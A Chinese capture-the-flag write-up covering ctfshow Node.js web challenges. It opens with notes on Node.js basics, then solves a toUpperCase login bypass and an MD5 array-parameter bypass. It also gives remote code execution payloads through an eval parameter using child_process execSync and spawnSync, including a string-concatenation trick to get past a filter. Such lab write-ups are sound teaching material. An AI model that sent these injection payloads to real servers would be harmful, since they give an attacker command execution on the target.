ctfshow - web - nodejs

nodejs基础知识

起源与发展:了解Node.js的历史背景、由Ryan Dahl创造、基于V8 JavaScript引擎、由Node.js基金会(现OpenJS Foundation)管理。

设计哲学:理解Node.js的设计目标,如单线程、非阻塞I/O、事件驱动、轻量级、高性能。

应用场景:服务器端开发(如Web服务器、API服务)、命令行工具(如脚本、构建工具)、桌面应用(借助Electron等框架)、实时应用(如聊天室、游戏服务器)等。

单线程模型:理解Node.js的单线程执行环境与JavaScript的单线程特性。

异步I/O:理解Node.js如何通过libuv库实现异步非阻塞I/O操作,避免阻塞主线程。

事件队列与回调队列:理解事件循环如何处理不同的任务类型(宏任务、微任务),以及任务进入和退出事件循环的过程。

定时器与process.nextTick():理解定时器在事件循环中的位置,以及process.nextTick()与定时器的区别。

变量、数据类型、运算符

变量声明:var、let、const的区别,块级作用域与函数作用域。

基本数据类型:Number、String、Boolean、Null、Undefined、Symbol、BigInt,以及它们的特性和方法。

复杂数据类型:Object、Array、Function、Date、RegExp(正则表达)等,以及它们的创建、属性访问、方法调用。

运算符:算术运算符、比较运算符、逻辑运算符、位运算符、赋值运算符、条件运算符、解构赋值、扩展运算符等。

函数

定义与调用:普通函数、匿名函数、具名函数、箭头函数的定义与调用。

参数:默认参数、剩余参数、解构参数。

作用域:全局作用域、局部作用域、块级作用域、闭包。

返回值:显式返回、隐式返回、void返回。

高级特性:递归、高阶函数、柯里化、函数组合、函数记忆化。

类与实例:类的定义、构造函数、实例化过程、this关键字。

成员:属性、方法、访问修饰符(ES6)。

继承:extends关键字、super关键字、原型链、Mixin模式。

封装:私有字段(ES12)、私有方法(ES12)、getter/setter。

多态:接口、抽象类(TypeScript)、鸭子类型。

web334

一个登录框。

下载压缩包进行代码审计

{username: 'CTFSHOW', password: '123456'}

var express = require('express');

var router = express.Router();

var users = require('../modules/user').items;

var findUser = function(name, password){

return users.find(function(item){

return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;

});

};

/* GET home page. */

router.post('/', function(req, res, next) {

res.type('html');

var flag='flag_here';

var sess = req.session;

var user = findUser(req.body.username, req.body.password);

if(user){

req.session.regenerate(function(err) {

if(err){

return res.json({ret_code: 2, ret_msg: '登录失败'});

}

req.session.loginUser = user.username;

res.json({ret_code: 0, ret_msg: '登录成功',ret_flag:flag});

});

}else{

res.json({ret_code: 1, ret_msg: '账号或密码错误'});

}

});

知道了用户名和密码不能成功登录,审计login.js代码发现直接传入CTFSHOW不可以,会返回为假,应该传入小写的ctfshow,才能转化为大写,成功登录。

return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;

注意return函数中的执行结果

web335

Node.JS的RCE

了解基本的nodejs的语法。

require(%27child_process%27).execSync('ls')

查看当前目录下的文件

require(%27child_process%27).execSync('tac fl00g.txt')

查看flag文件。

学会nodejs中RCE相关基本函数的利用。

web336

spawn、exec、execFile、fork

这四个函数均是异步函数,对应的同步函数为:spawnSync、execSync、execFileSync,其中 fork 没有对应的 forkSync

spawn是其他函数的基础,其他三个函数是在spawn上不同程度的封装,exec调用execFile,而execFile调用spawn,fork调用spawn。

对于nodejs的函数知道同步函数和对应的异步函数,从而实现题目系统命令的执行。

检测该题目发现过滤与exec()函数相关的函数都被过滤,包括execSync、execFileSyn、exec、execFile等函数。

因此使用spawn或者spawnSync函数。

?eval=require('child_process').spawnSync('ls').stdout.toString();

?eval=require('child_process').spawnSync('cat',['fl001g.txt']).stdout.toString();

字符拼接

?eval=require('child_process').['exe'%2B'cSync']('ls

web337

var express = require('express');

var router = express.Router();

var crypto = require('crypto');

function md5(s) {

return crypto.createHash('md5')

.update(s)

.digest('hex');

}

/* GET home page. */

router.get('/', function(req, res, next) {

res.type('html');

var flag='xxxxxxx';

var a = req.query.a;

var b = req.query.b;

if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){

res.end(flag);

}else{

res.render('index',{ msg: 'tql'});

}

});

module.exports = router;

通过对js的代码审计,发现传入的参数要满足if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag))语句,从而可以输出flag。

router.get('/', function(req, res, next) 路由形式的输入,直接在/后面以get形式输入参数a,b,参数的内容传入内容要绕过if语句的检测。

要绕过MD5语句的比较,可以利用一些MD5加密结果相同的特殊字符串,但是由于要比较md5(a+flag)===md5(b+flag)的值,因此这种方法不可行。

另一种方法是:利用数组绕过MD5的检测

?a[a]=1&&b[b]=0

?a[b]=1&&b[b]=1

相关推荐
秋田君4 小时前
Vue3+Node.js 实现大文件上传:断点续传、秒传、分片上传完整教程(含源码)
前端
zhong liu bin4 小时前
Vue框架技术详解——项目驱动概念理解【前端】【Vue】
前端·javascript·vue.js·vscode·vue
W-GEO4 小时前
前端安全攻防:XSS, CSRF 等常见威胁的防范与检测指南
前端·安全·xss
2301_803554524 小时前
实习项目包装--HTTP 协议和 Web API
前端·网络协议·http
lssjzmn4 小时前
Spring Web 异步响应实战:从 CompletableFuture 到 ResponseBodyEmitter 的全链路优化
java·前端·后端·springboot·异步·接口优化
这里有鱼汤4 小时前
上班族没时间炒股?不妨试试这个隔夜超短战法(附:Python量化源码)
前端
n12352354 小时前
Chrome 插件开发入门指南:从基础到实践
前端·chrome
前端 贾公子4 小时前
ElementUI 中 validateField 对部分表单字段数组进行校验时多次回调问题
前端·javascript·elementui
棒棒的唐4 小时前
vue2 elementUI 登录页面实现回车提交登录的方法
前端·javascript·elementui